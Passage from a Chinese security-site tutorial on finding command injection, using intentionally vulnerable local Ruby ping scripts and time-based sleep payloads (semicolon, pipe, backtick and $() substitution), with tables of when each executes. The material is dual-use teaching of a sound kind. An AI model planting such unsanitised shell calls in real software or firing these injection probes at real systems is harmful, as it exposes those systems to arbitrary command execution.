欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

挖洞姿势:浅析命令注入漏洞

来源:本站整理 作者:佚名 时间:2017-07-11 TAG: 我要投稿

命令注入是一种常见的漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。说到这里,我们不得不提另外一个叫做远程代码执行(RCE)的漏洞——许多人总会把这两个漏洞混淆,其实它们是有本质的区别的。
命令执行只是针对系统命令,而远程代码执行针对的是编程代码,两者互不能替换。下面让我来通过实例向大家演示如何挖掘及利用它。
配置
我们首先编写两个简单的用于在本地测试的Ruby脚本,当前我使用的Ruby版本为2.3.3p222。下面是我的ping.rb脚本:
puts `ping -c 4 #{ARGV[0]}`
该脚本将会ping以参数形式传递过来的服务器,并将结果输出在屏幕上。以下是输出内容:
$ ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms
 
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms
可以看到系统执行了ping -c 4 8.8.8.8这条命令,并在屏幕上显示输出。下面是另一个我们在本文中需要使用到的脚本:server-online.rb。
puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'
该脚本将根据ICMP响应(ping)来确定服务器是否处于存活状态。如果它响应ping请求,屏幕上将显示yes。如果没有,它将显示no。命令输出的详细信息将不会显示给用户,如下:
$ ruby server-on.rb '8.8.8.8'
yes
$ ruby server-on.rb '8.8.8.7'
no
测试
检测一阶命令注入的最佳方式是尝试执行一个sleep命令,并观察其执行时间是否增加。我们来创建一个基于时间线的ping.rb脚本:
$ time ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.09s user 0.04s system 4% cpu 3.176 total
执行脚本大约需要3秒钟的时间,我们来看看该脚本是否存在sleep命令注入。
$ time ruby ping.rb '8.8.8.8 && sleep 5'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.10s user 0.04s system 1% cpu 8.182 total
现在我们来对比下两次的执行时间。可以看到时间从〜3秒跳到〜8秒,刚好增加了5秒。为了排除互联网延迟的可能,建议大家可以重复测试对比。
我们再来测试下server-online.rb脚本是否也存在同样的问题。
$ time ruby server-online.rb '8.8.8.8'
yes
0.10s user 0.04s system 4% cpu 3.174 total
$ time ruby server-online.rb '8.8.8.8 && sleep 5'
yes
0.10s user 0.04s system 1% cpu 8.203 total
可以看到,相比正常的请求时间同样增加了5秒钟。
根据正在执行的命令,我们可以注入不同地注入sleep命令。以下是一些payloads,你可以在查找命令注入时进行尝试:
time ruby ping.rb '8.8.8.8`sleep 5`'
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行echo `ls` 将会首先执行ls并捕获其输出信息。然后再将它传递给echo,并将ls的输出结果打印在屏幕上,这被称为命令替换。由于反引号之间的命令优先被执行,所以之后的命令即便执行失败也无关紧要。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。
命令
结果
ping -c 4 8.8.8.8`sleep 5`
sleep命令被执行,命令替换在命令行中。
ping -c 4 “8.8.8.8`sleep 5`”
sleep命令被执行,命令替换在复杂的字符串双引号之间。
ping -c 4 $(echo 8.8.8.8`sleep 5`)
sleep命令被执行,命令替换在使用不同符号时(请参见下面的示例)。
ping -c 4 ’8.8.8.8`sleep 5`’
sleep命令不执行,命令替换在简单字符串中不起作用(单引号之间)。
ping -c 4 `echo 8.8.8.8`sleep 5“
sleep命令不执行,使用相同符号时命令替换不起作用。
time ruby ping.rb '8.8.8.8$(sleep 5)'
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。当使用命令替换来查找命令注入时,务必确保payload已被替换,避免出现上述表中的最后一种情况。
time ruby ping.rb '8.8.8.8; sleep 5'
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。
命令
结果
ping -c 4 8.8.8.8;sleep 5
sleep命令被执行,命令在命令行中顺序执行。
ping -c 4 “8.8.8.8;sleep 5″
sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8;sleep 5)
sleep命令被执行,排序命令在命令替换中起作用。
ping -c 4 ’8.8.8.8;sleep 5′
sleep命令未被执行, 附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 `echo 8.8.8.8;sleep 5`
sleep命令被执行,排序命令在命令替换中起作用。
time ruby ping.rb '8.8.8.8 | sleep 5'
除此之外我们还可以使用命令管道符,通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。例如执行cat /etc/passwd | grep root这条命令时,它将捕获cat /etc/passwd的输出并将其传递给grep root,最终显示与root匹配的行。当第一条命令失败时,它仍然会执行第二条命令。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。
命令
结果
ping -c 4 8.8.8.8 | sleep 5
sleep命令被执行,管道输出在命令行正常执行。
ping -c 4 “8.8.8.8 | sleep 5″
sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8 | sleep 5)

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载